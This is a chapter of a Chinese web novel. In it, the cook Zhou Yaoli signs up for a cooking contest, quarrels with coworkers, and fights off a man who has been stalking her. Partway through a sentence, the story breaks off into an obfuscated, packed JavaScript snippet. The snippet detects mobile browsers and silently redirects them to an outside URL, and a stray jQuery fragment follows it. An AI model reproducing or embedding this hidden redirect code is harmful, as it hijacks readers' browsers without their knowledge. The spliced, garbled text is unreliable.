晚上回家后周瑶理开始琢磨厨神大赛的事。
结合今天从沈秋瑜那儿得来的信息,这次比赛她必须拔头筹。不然按照两年一次的举报频率,她得再等两年,意味着还得继续过两年这样的生活。
“争气点!”她不想再继续白天黑夜都要赚钱上班了。
虽然在两个时空都有充足的睡眠,但总是觉得不得劲儿。
可惜白天太着急了,忘记问报名时间何时开始。不过后厨的其他厨子应该都知道厨神大赛,明天上班时她再问问也不迟。
第二天周瑶理难得没有踩点上工,刚进后厨就看见人都到齐了,她前脚刚踏过门槛,众人眼神齐刷刷看过来。
周瑶理疑惑,怎么大伙儿看起来都那么悠闲?
“小周来得正好,东家说今日晚点开店。”老刘乐呵地朝她招手。
东家虽然抠搜了点,但对他们还是没话说的,这不特意空出时间好让他们去报名厨神大赛。
周瑶理还没反应过来,又被人推着出门。
“老刘,咱们这是去哪儿啊?”
周瑶理拽住同样走在后头的刘师傅问道。
前头的李莽听见了,说是去报名厨神大赛。昨天周瑶理告假不在店里,东家特地交代他们早上记得等她一块儿去。
周瑶理内心狂喜,她就说后厨的各位同僚肯定不会藏着掩着。
但是报个名而已,去那么早干嘛,衙署估计还没开门呢。
“这你就不懂了。”刘师傅满脸一看你就不知情的表情,拉着她的袖子悄声说道。
纵观整个昌南道的厨子,没有一百也有八十。若是去得晚些还得排队,到时候耽误了店里开门时间,东家又要碎嘴子般叨叨半天。
衙署确实没开门,但外头已然如老六说的那样大排长龙。周瑶理他们来得不算晚,前头只排了十几个人。
刚才在来的路上她已经从老刘那得知,报名当场还有一堂测验,不过题目非常之简单,只要是个厨子就能答上来。
话是这么说,但周瑶理不免焦虑。她一个半路出家的半吊子厨师,也不知道老刘说的简单是不是在诓她。
衙署开门后排队的人陆陆续续往里走,终于轮到他们。
一进门就看到空地上放了五组桌椅,每五人一组,最前面那坐着登记姓名的衙役。
周瑶理这会儿才发现李莽没跟他们一起进来,还以为他是有事耽搁了,止不住往后探头。
“别看了,老李上一次都没参加。”老刘瞧见快排到他们,忙将打算离队的周瑶理拽回来。
李莽最后一次参加厨神大赛还是上上届的时候,止步于半决赛,至此就再也没参加过。
“周瑶理,年岁二十四。”
衙役登记好她的个人信息,抽出边上的试题交给她让她自己寻空桌子。
老刘真够义气,果然没诓她。方才拿到试题一看,周瑶理差点笑出声来。
就是一些简单的厨房小常识,难怪刘师傅让她别担心,唰唰两下周瑶理便交了卷子。
分数是当场出的,周瑶理不出意料地拿到资格板。
李莽在外头站了一刻钟不到就瞧见周瑶理满脸喜色地走出来,便知这是合格了,内心笑话她还真是小屁孩喜形于色。
“老李,你看!”周瑶理叉腰朝他亮出资格板,好不得意。
和大伙儿一起生活好几个月,她现在都开始没大没小起来,张口不是老李就是老刘。
“出来得挺快。”怕她得意忘形,李莽末了又加上句别掉以轻心。
入围赛不是闹着玩儿的,有得是经验老道厨艺精湛的师傅。
周瑶理总感觉最近哪儿不对劲,但又说不上来怪异之处,想着估计是自己太焦躁了。
州县选拔赛在月末,比赛的主题还未公布。离报名那日已过几天,她每天焦虑得睡都睡不好。
若是知道了题目还能做点准备,而如今只有张资格板,其余的一概不知。她之前又未曾参加过,自然比其他人心焦不少。
毕竟关系着她能不能顺利回去。
“我要回家…”
店里负责洒扫的婶子听见周瑶理的自言自语的哀嚎声,不由得停下动作打趣她说,“这才午时过半,周大厨就累啦。”
黄蛮坐在椅子上也阴阳怪气道,“厨神大赛本来就是高手云集的地方,有些人的雕虫小技是搬不上台面的。”
说罢还瞪了眼周瑶理的后脑勺继续冷嘲热讽,“趁早回家也算识相。”
周瑶理懒得搭理他,对方那豆瓣大小的脑瓜想来想去都是那些话。
但是口头上落下风可不行,“哎呀也不知道是谁,瞧见那水煎包就跟没吃过好东西似的狼吞虎咽。”
上回黄蛮趁她没注意,夹起水煎包就往嘴里塞,还被滚烫的汤汁烫得龇牙咧嘴。
“简直丢死人了。”周瑶理头也没回,但从声音里都能听出她现在的表情有多欠揍。
黄蛮也真是,屡战屡败但越挫越勇。回回打嘴炮都不敌周瑶理,但却次次爱挑事,这不又被她气得扔下茶杯气冲冲钻进后厨。
这会子正是馆子不忙的时候,周瑶理一到这个点就喜欢在酒馆门口台阶坐着发呆。
反正也没啥客人光临,不挡人去路的。
“小周你又坐那,赶紧起来!”王东家刚从二楼下来就看见她不知何时托腮坐在店门口,还颇悠闲地晃腿。
周瑶理只好认命站起身,边排去裤子上的灰边背对东家做鬼脸。
真是小气的老头。
恰巧这时外头有人经过,周瑶理连忙端起笑招呼,“云禾最近又上新菜色了,客官进来瞧瞧?”
对方连忙摆手匆匆离去,周瑶理又放下笑容转身进店。
她就说嘛,大下午的谁还会来吃饭,再过一个时辰就该吃晚饭了。
“郎君,我好像看见周姑娘了。”文竹侧头对着坐在舆内的林嘉行说道。
眯着眼睛看仔细了些,果真是周姑娘。
自从上回赶秋宴后他家郎君就再也没出过门,今天有兴致出门买书居然还碰上周瑶理了,他俩果然有缘!
不对,怎么还有人鬼鬼祟祟跟在周姑娘后头。
林嘉行撩开帘子一看,文竹说得不错。
“我想起来了,那男人就是之前说要与周姑娘说媒的人。”文竹十分笃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933503|192238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定自己没认错人,之前他还回头看过那郎子长啥样。
就是化成灰他都不会认错的。
二人立马跳下车跟上去,等他俩赶到时正好遇上周瑶理将人踹倒在地,手上还拿着不知从哪儿顺的竹竿子。
那男的躺在地上连声求饶。
周瑶理就说最近怎的总感觉怪怪的,一直以为是自己的问题就没多放心上。
结果今日终于给她逮着罪魁祸首了。她记得这男的,近日总来店里吃饭。
但奇怪的是回回都不是饭点时候来,且每次都只点一份桂花羹便坐上半日有余。
周瑶理今日下工得早,想着家中没余粮便寻思走趟粮米铺,再顺带囤点货。不去不要紧,这一走动就发现好像有人在跟踪自己。
她警惕惯了,立马换了道没往青乌巷的方向去,转身走进另一条有遮挡的小路。
果然对方的目标是自己,对方也随她一块转换方向。
好在小路放了一运菜的大板车,周瑶理藏在板车后方观察,等对方靠近,在他还没反应过来前抡起边上的竹竿往那变态头上招呼去。
周瑶理趁胜追击,抬起脚又往对方腹部踹去,直将人踹到在地。
那男人本以为她就是一身量单薄的小姑娘,没多少力气。没想到手劲儿这么大,还好不是下死手。起身想跑的时候又挨了一竹竿,抱头滚地求饶。
周瑶理见此还不解气,上前又朝着男人腿弯处踹两下。
复尔再恶狠狠骂道,“死变态,我让你跟踪女孩子,踹不死你。”
对方居然还觉自个儿有理,抱头鼠窜间还反驳她,“明明是你撩拨在先,如今又棍棒对待,实在没道理。”
如若对他没关系,为何每次都要对他笑呢?
周瑶理停下挥动的杆子,嘴都快气歪了。
就没见过这么不要脸的,开门做生意的哪个不是笑脸相迎,天天黑着个脸还要不要赚钱了。
“老娘笑是因为有人来酒馆吃饭,你多大脸啊。”
长得跟云禾酒馆帐台上的□□似的。
东家每次都说那是他好不容易淘来的蟾蜍,让她小孩子别乱说话。周瑶理提醒他那是赝品,东家非不信。
这下好了,招来脏东西了吧。
“以后若是再让我看到你跟踪小娘子,见一次打你一次!”周瑶理挥动手中的杆子吓唬他。
对方见状立马爬起来,连滚带爬跑出去。路过林嘉行他们时还被文竹用脚绊住,摔了个狗吃屎。
周瑶理这下才发现还站着俩人。
林嘉行看她瞧过来,默默给她竖起大拇指。他现在算是相信周瑶理的武力值,确实不需要他帮忙。
“你没受伤吧。”林嘉行走上前询问,结果被周瑶一把拍开手。
她这会儿还在气头上,看谁都不顺眼。
“有事?”周瑶理冷淡开口。
见对方无事寻她,便头也不回地走了。
只留下林嘉行尴尬抬手站在原地。
站在他身后的文竹还火上浇油般在林嘉行身上小心大量。
好险,他家郎君的身板看起来应该能扛得起周姑娘一顿揍。